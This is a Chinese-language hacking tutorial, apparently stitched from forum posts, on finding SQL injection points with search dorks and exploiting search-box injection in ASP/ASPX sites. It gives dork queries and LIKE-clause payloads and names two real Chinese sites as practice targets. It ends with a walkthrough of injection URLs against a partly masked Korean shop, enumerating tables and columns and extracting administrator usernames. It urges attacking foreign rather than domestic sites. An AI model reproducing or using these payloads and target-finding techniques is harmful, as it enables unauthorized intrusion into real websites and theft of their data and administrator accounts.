SQL注入点世界搜索关键字经验

SQL注入点世界搜索关键字经验谈

SQL(STructured Query Language)是一种数据库查询和程序设计语言,用於存取数据以及查询、更新和管理关联式数据库系统。

SQL注入(SQL Injection)程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL注入。 那么注入点那就是存在安全隐患的网页了.
至于注入原理,不是今天所谈论的话题,大家感兴趣可以从网上搜索下,这方面的资料很多.
SQL注入这个历史悠久的漏洞,伴随着B/S模式应用开发的发展,深受广大黑客爱好者的喜爱,从一开始的手工注入,到现在的工具自动注入,使那些不懂SQL的人也可以使用这个漏洞入侵各种网站.
要想应用SQL注入首先要做的就是找注入点,国内的网站通过各种搜索引擎可以方便的搜索到注入点,但是国人最好不要入侵国内网站,一是法律问题,二是道德问题.如果面向世界,那么首先面临的问题是语言不同,搜索的时候不方便,今天和大家谈论的就是有关注入点世界搜索关键字的话题,没有什么技术,讲一些经验之谈,为菜菜们指路.


首先还是简单说下国内网站注入点(查找未知)的搜索方法

搜索关键字: 目的关键字+ in:asp (意义:搜索含有目的关键字,并且网址中含有asp网页)

例如: 黑鹰 in:asp

注: 如果搜索的是aspx(或PHP)的, asp换成aspx(或PHP)就可以了,以下类同.

看操作!

大家看到了,国内的就这么简单一搜索,就搜索出N多注入点,有了注入点,然后就看你水平发挥了.对于国外的,就不能搜索汉字了(地球人都知道),那么我们就找一些世界计算机共同的东西来搜索.
一.英语字母及单词.
大家都知道,计算机是美国人发明的,那么不管是什么国家的服务器,什么国家的操作系统都支持英语的,而且网址多是英文的,那么我们就可以利用这点来搜索.
例如: a in:asp
vip in:asp
sex in:asp


二.阿拉伯数字
阿拉伯数字是世界通用的数字,不管是网页中,还是网址中,这是不可缺少的东东.其中以年份出现的机会很多.(当然没有单个多,年份就是由单个数字组成的).

例: 0 in:asp
2008 in:asp


三:网站域名
现在的网站多有域名,没有的很少.那么顶级域名也就成了我们可以利用的地方.比如: COM,NET,ORG....而且各国都有各国的顶级域名.如:中国 CN, 日本 JP,美国 US, 韩国 KR 波兰 PL ........
例: com in:asp (世界通用)
JP in:asp

(限日本,当然别国也有,你想用这个搜索,那么没人管的了)
TW in:asp (限台湾)



2搜索型注入点的找寻和注入方法


目前,一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在,常见的搜索功能代码如下:

..................
keyword=trim(request.From("keyword")
获取客户端提交在要查询的关键字,并过滤了两边的空格

if keyword="" then 如果关键字为空,则输出下面的"查询内容不能为空!'"
response.Write "alert('查询内容不能为空!');history.back(-1);"
response.end
end if
set rs=server.CreateObject("ADODB.recordset") 创建对象
sql="select * from b_class where b_name like '%"&keyword"%' order by id desc"
利用关键字进行模糊查询,将查询的结果按id字段的降序排列
rs.open sqls.conn.3.1
if rs.eof then
...................
%>

从上面的代码中,程序只对用户提交的搜索变量(参数)过滤了两边的空格,并没有过滤这个参数的其它东西,就带到了SQL语句内进行查询,从而导致了注入的漏洞产生.在大部分的系统中,实现搜索功能的文件名为"search.asp",如果大家要寻找系统源代码中有没有搜索型注入的漏洞,首先要看系统中有没有这个文件,一般情况下都有存在的,如果没有,我们还可以在搜索系统的首页,查找关键字"搜索"(或"查询"等),也可以找到,找到关键字后,还要查看要实现搜索功能的这个表单是被那个文件链接,(大家都知道,在HTML语言中,表单在网页上的一个特定的区域中,是由一对标志定义的标识的,在标志中ACTION属性定义了表单数据提交的地址),所以我们还要看ACTION属性是链接那个文件,而这个文件就是实现搜索功能的文件,我们就可以使用"查看源文件"来看代码,并找出是否有注入的漏洞存在.不过,我们还是要来学习下SQL数据查询中WHERE子句使用Like操作符的知识,Like操作符所起的作用就是模糊查询,要使用Like进行模糊查询必须还要配合通配符才能完成,"%"就是Like操作符中的一种通配符,它代表零个或多个任意字符,为了大家理解,为大家举了一些例子:

Like "黑客%" 返回以黑客开始的任意字符

Like "%黑客" 返回以黑客结尾的任意字符

Like "%黑客%" 返回以包含黑客的任意字符

我想,通过这些例子的说明,大家对模糊查询有了一定的了解吧,下面我就讲讲注入的方法吧
我们打开一个网站,在搜索框里输入关键字%' and 1=1 and '%'='关键字就为"经理"吧,点搜索,结果返回与经理有关的资料,当我们输入经理%' and 1=2 and '%'='时,却返回空的资料,这又是为什么呢?,哈哈,讲到这儿,有的朋友就可能想到时在第一讲中

关于逻辑运算的知识了,不错,在我们输入经理%' and 1=1 and '%'='在Like后的语句就变成了'%经理%' and 1=1 and '%'='%',转成逻辑运算符就为真and真and真and,那么它的结果也为真,当然返回我们要搜索的资料了,反之,运算的结果为假,自然就什么也搜索不到了.当然我们还可在搜索框中输入关键字' and '1%'='1和关键字' and '1%'='2来看是不是返回不同的页面来判断该漏洞的存在.(关于这方面的知识,在第一讲中我已比较详细的说明了)
同样,搜索型注入方法也分手工和工具两种方法,手工的注入利用方法很简单,只要我们在搜索框中输入关键字%' and 注入攻击代码 and '%'=',这儿的注入攻击代码和我们平常在URL中使用的注入代码一样,比如,我们要判断网站后台的数据库类型,那么我们输入关键字%' and user>0 and '%'=',就可以了,不过我们选的关键字一定要在这个网站中可以搜索到,如果这个关键字在网站中搜索不到那么,这个关键字就不可以来作为我们注入的关键字.在工具中,NBSI和HDSL这二款注入工具都提供了对搜索型的注入漏洞的注入,不过前提是我们要得到注入点,也就是要得到搜索页面的URL地址,在上一讲中,我已提到系统在获取用户的提交数据时,有GET和POST这两种的提交数据方式,在request对象中获取GET方法提交的数据对应的集合是QueryString,而获取POST方法提交的数据对应的集合是From,在实际的代码中,通过POST方法提交数据的时候用得最多,在上面的代码中,大家也可以看到是使用POST方法提交数据的,当然request对象可以不通过集合来获得数据,但它的效率低下,容易出错,在大型系统中一般不使用这种提交的方法,这两种提交数据的方法,最大的不同就是在通过GET方式提交数据的时候,所有的参数及值都是放入URL中的,成为URL的一部分,并显示出来,例如,百度在搜索的时候就是采用这种方式,当我们搜索"新世纪网安"时,就可以看到在浏览器的URL显示了"https://www.360docs.net/doc/0612740170.html,/s?wd=%D0%C2%CA%C0%BC%CD%CD%F8%B0%B2&cl=3"而%D0%C2%CA%C0%BC%CD%CD%F8%B0%B2就是新世纪网安经过编码的字符(这点,我可以给大家看下),并放入在URL中,在这个URL中,通过将?,&多个变量的值连在一起,这个URL是传输搜索字"新世纪网安".而cl的值为3,如果系统是采用GET方式提交的搜索,我们只需要把其URL填入工具中就可,不过还要填入可以搜索到的关键字,但在使用POST提交方式时,我们提交的数据在URL中是看不到的,它将表单中的数据放到PORM的数据体中了,这样我们就要自己来手动找出隐藏的变量了,然后再赋予正确的值并正确构造出注入的URL,再交给工具进行注入就行了,下面我就用"https://www.360docs.net/doc/0612740170.html,(世贸人才网)和https://www.360docs.net/doc/0612740170.html,/"(山东人事信息网),这两个网站分别来讲讲两种方

法的步骤:



1:先判断有没有注入的漏洞
2:先在网站的搜索框中输入要搜索的关键字,先不要点击"搜索".
3:再打开Wesockexpert工具,单击工具条里的"打开进程"按钮,会出现一个进程列表,选择网站的IE进程,点击后打开就可以监视我们提交的数据了,
4:再点击"搜索",之后,我们在工具界面的框中,选中POST提交的信息包,点击后,就会在下面的框中,就会出现POST提交的参数和相对应的值
5:URL的手工修改,修改好后把它填入注入工具里,关于搜索型注入工具,HDSI工具处理的比较好,大家还要注意,由于工具判断注入漏洞的方法只是检测最后的一个变量,因此要把查询的关键字放在URL的最后面才可以检测出来,接下来工具就可以帮我们做想做的事了. (重要申明,大家看了教程后,不要去对上面的二个网站搞破坏,否则后果自负)
现在很多的网站系统都过滤了一些普通的注入,但程序员往往疏忽了对搜索功能查询,文本框内的输入和隐藏域内的数据提交变量(参数)的过滤或过滤不全,这样也导致了漏洞的产生




3


aspx网站的搜索型注入实战解析来源:华夏安全网(https://www.360docs.net/doc/0612740170.html,)[详细地址]:https://www.360docs.net/doc/0612740170.html,/jiaoben/Script/1973.html

简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。 然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同来源:华夏安全网(https://www.360docs.net/doc/0612740170.html,)[详细地址]:https://www.360docs.net/doc/0612740170.html,/jiaoben/Script/1973.html


简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。

然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。

我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。



http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到当前数据库账号


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到当前数据库名


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from xxxxx3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'a

nd (select top 1 name from xxxxx3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from xxxxx3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and%20(select%20top%201%20name%20from%20xxxxx3.dbo.sysobjects%20where%20xtype='u'%20and%20status>0%20and%20name%20not%20in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0%20and%20'%'=' //依次类推,得到所有的表



其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password(责任编辑:admin)


来源:华夏安全网(https://www.360docs.net/doc/0612740170.html,)[详细地址]:https://www.360docs.net/doc/0612740170.html,/jiaoben/Script/1973.html





http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level


列名暴完毕了,嘿嘿,接着开始暴管理员账号密码了。

http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * fro

m tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong


http://www.xxxxx.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。


一会再想别的办法吧。。。。。方法多种多样,慢慢发挥吧!

(责任编辑:admin)
来源:华夏安全网(https://www.360docs.net/doc/0612740170.html,)[详细地址]:https://www.360docs.net/doc/0612740170.html,/jiaoben/Script/1973_2.html

相关文档
最新文档